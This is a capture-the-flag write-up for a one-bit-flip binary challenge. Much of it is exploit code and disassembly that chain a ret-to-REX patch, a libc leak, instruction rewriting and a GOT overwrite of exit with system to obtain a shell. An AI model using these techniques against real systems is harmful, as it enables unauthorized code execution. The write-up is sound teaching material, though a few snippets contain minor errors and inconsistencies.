Finally, Challenge 3. We lose the overflow we got in Challenge 2 and now must figure out how to still reach the end goal.
This challenge is identical to the previous challenge, except this time there's no buffer overflow. We're still allowed to modify one bit anywhere in the program; however, this is the only input we're granted.
Only changing one bit will never be enough to achieve a significant change in the code. As of now, we're at a loss for vulnerabilities to exploit: no buffer overflow, no GOT overwrite, and no format strings. We need a way to write more bytes into the text segment to influence more change.
To do this, we look to the format of the code. Notice that main
has the highest address of the functions available. Most notably, main
is just above memory_write_inator
. This is crucial! We need a way to write more bytes; therefore, we need a way to call memory_write_inator
more than once. To save space, the compiler stacks functions directly next to each other. We can easily print this to see it in action:
... 0x40160c <memory_write_inator+404>: mov rax,QWORD PTR [rbp-0x8] 0x401610 <memory_write_inator+408>: sub rax,QWORD PTR fs:0x28 0x401619 <memory_write_inator+417>: je 0x401620 <memory_write_inator+424> 0x40161b <memory_write_inator+419>: call 0x401120 <__stack_chk_fail@plt> 0x401620 <memory_write_inator+424>: leave 0x401621 <memory_write_inator+425>: ret 0x401622 <main>: endbr64 0x401626 <main+4>: push rbp 0x401627 <main+5>: mov rbp,rsp 0x40162a <main+8>: sub rsp,0x40 0x40162e <main+12>: mov rax,QWORD PTR fs:0x28 ...
Therefore, by removing the ret
instruction, the end of memory_write_inator
will keep executing instructions and bring us back to main
. Fortunately, main
calls memory_write_inator
, meaning we can induce an infinite loop! This infinite loop will allow us to change an infinite number of bits.
Checking the Opcode table, there are several bits we can change that won't cause a crash. By this, I mean to look for instructions that regardless of argument and return won't cause the program to SEGFAULT. ret
has Opcode 0xc3 = 1100 0011
. If we change the first byte, this becomes 0100 0011 = 0x43 = REX.XB
. You can read more about Register Extension Instructions in Assembly, but know that this does nothing. Therefore, this code will run without a hitch and keep executing! It turns into the following:
0x401620 <memory_write_inator+01a8> leave 0x401621 <memory_write_inator+01a9> rex.XB 0x401622 <main+0000> endbr64 0x401626 <main+0004> push rbp
This is our escape: flipping bit 0
at 0x401621
.
Now that we have infinite write-what-where, we can check a series of exploits. In this case, the one that makes the most sense is a GOT Overwrite. The end goal can either be calling win
or calling system("/bin/sh")
. This write-up will show the latter to prove a more difficult challenge that can suit more challenging scenarios (i.e., no win
function).
To call system
, we must assume ASLR is turned on. We haven't detailed much of ASLR yet -- ASLR is PIE for the library (libc
) file. Therefore, without a leak, we can't guarantee the address of any function in the file. Therefore, we must leak an address first. We decide to overwrite exit
because we can instantly decide when it gets called:
0x00000000004015a2 <+298>: mov eax,DWORD PTR [rbp-0x2c] 0x00000000004015a5 <+301>: test eax,eax 0x00000000004015a7 <+303>: js 0x4015b1 <memory_write_inator+313> 0x00000000004015a9 <+305>: mov eax,DWORD PTR [rbp-0x2c] 0x00000000004015ac <+308>: cmp eax,0x7 0x00000000004015af <+311>: jle 0x4015bb <memory_write_inator+323> 0x00000000004015b1 <+313>: mov edi,0x1 0x00000000004015b6 <+318>: call 0x4011c0 <exit@plt>
This checks whether the input, rbp-0x2c
, is not between 0
and 7
. If it's not, it calls exit(1)
. We can easily control when this is executed, so this is a good route.
We'll need a way to leak the data. Fortunately, the binary prints out whatever byte we choose to change! Therefore, we can write a function that gets that line, and then flips and unflips a bit. First, let's write a function that flips a bit at an address:
def bit_modify(addr, bit): # send the address p.recvuntil(b"for you:\n") p.sendline(hex(addr).encode()) # modify the bit p.recvuntil(b"flip:\n" p.sendline(str(bit).encode())
Then, let's write a method that reads a byte. We'll need to send the address, read the byte, flip and unflip the bit, and then return the leaked byte.
def read(addr): # send the address p.recvuntil(b"for you:\n") p.sendline(hex(addr).encode()) # get the byte p.recvuntil(b"-----------------\n") x = bytes([int(b"".join(p.recvline().strip().split(b"|")).decode(), 2)]) # do and undo an action p.recvuntil(b"flip:\n") p.sendline(b"1") bit_modify(addr, 1) # return the leaked byte return x
Finally, let's write a method that turns one string into another. We can do this by XORing the two values to determine what bits must be changed, and then iterating across those bits and running bit_modify
for each one.
def string_modify(base, old, new): to_change = bytes(a ^ b for a, b in zip(old, new)) to_change_bytes = [format(byte, "08b") for byte in to_change] for byte in range(len(to_change_bytes)): for bit in range(len(to_change_bytes[byte])): if to_change_bytes[byte][bit] == "1": bit_modify(base + byte, bit)
With these, we can write a full exploit doing what we need.
First, we need to permit infinite read-write by sending the bit to modify the ret
instruction.
bit_modify(0x401621, 2)
Then, we need to leak libc
. We'll iterate across 8
bytes, leaking one at a time.
exit_got = bytearray() for i in range(8): exit_got += read(elf.got.exit + i) exit_got = u64(exit_got)
Then, we can compute the base address of libc
and the address of system@got.plt
:
libc.address = exit_got - libc.sym.exit system_got = libc.sym.system
Now, we need to write a way to pass /bin/sh
into system
. This is the hardest part. Consider this instruction:
0x00000000004015b1 <+313>: bf 01 00 00 00 mov edi,0x1
This loads the argument passed into exit
. This is a 5-byte instruction, which is more than enough to something else. The challenge of understanding what to change this into lays in how scanf
and getchar
works.
In order for
scanf
to determine whetherstdin
has an integer for it to read (based onscanf("%d[^\n]")
), it loads the contents ofstdin
into a heap-allocated buffer. It then parses this input and checks for the integer. If there is not an integer, rather than replacing the data back intostdin
, it is left inside the heap buffer. The address ofstdin
is then replaced inlibc
with the heap address until it runs out, at which pointstdin
is returned to its place.When
getchar
gets a character, it looks in the same place it expects to find the buffer. In this case, however, it finds the heap buffer to get the character. This yields the normal flow: the code gets the next character from input, which is currently inside a buffer.getchar
usesrdx
to perform thegetchar
, but does not clear this buffer aftergetchar
.
Based on the above, we know that rdx
contains the heap buffer filled with the contents of stdin
. Therefore, if we put /bin/sh
into stdin
, it will eventually be loaded into rdx
in a buffer! Therefore, if we change mov edi, 1
to mov rdi, rdx
, we can get this as the argument to system
!
We learned how to write this inside Instructions in Assembly.
REX Prefix 48 (W=1, R=1, X=0, B=0) Opcode 89 (MOV r16/32/64 r/m16/32/64) MODR/M d7 (11 010 111 = 1101 0111 = d7)
This makes the instruction 48 89 d7
. To fill the five bytes expected from the old instruction, we fill the last two bytes with nop
. We can use string_modify
to change the instruction:
string_modify(0x4015b1, b"\xbf\x01\x00\x00\x00", b"\x48\x89\xd7\x90\x90")
Then, we need to perform the GOT Overwrite.
string_modify(elf.got.exit, exit_got.to_bytes(8, "little"), system_got.to_bytes(8, "little"))
Finally, to get shell! The address we pick doesn't matter, it just must be readable. Then, we send /bin/sh
with a byte of padding (because of getchar
)!
p.recvuntil(b"for you:\n") p.sendline(b"0x47") p.recvuntil(b"flip:\n") p.sendline(b"//bin/sh\x00") p.interactive()
With this all together, we get the a shell!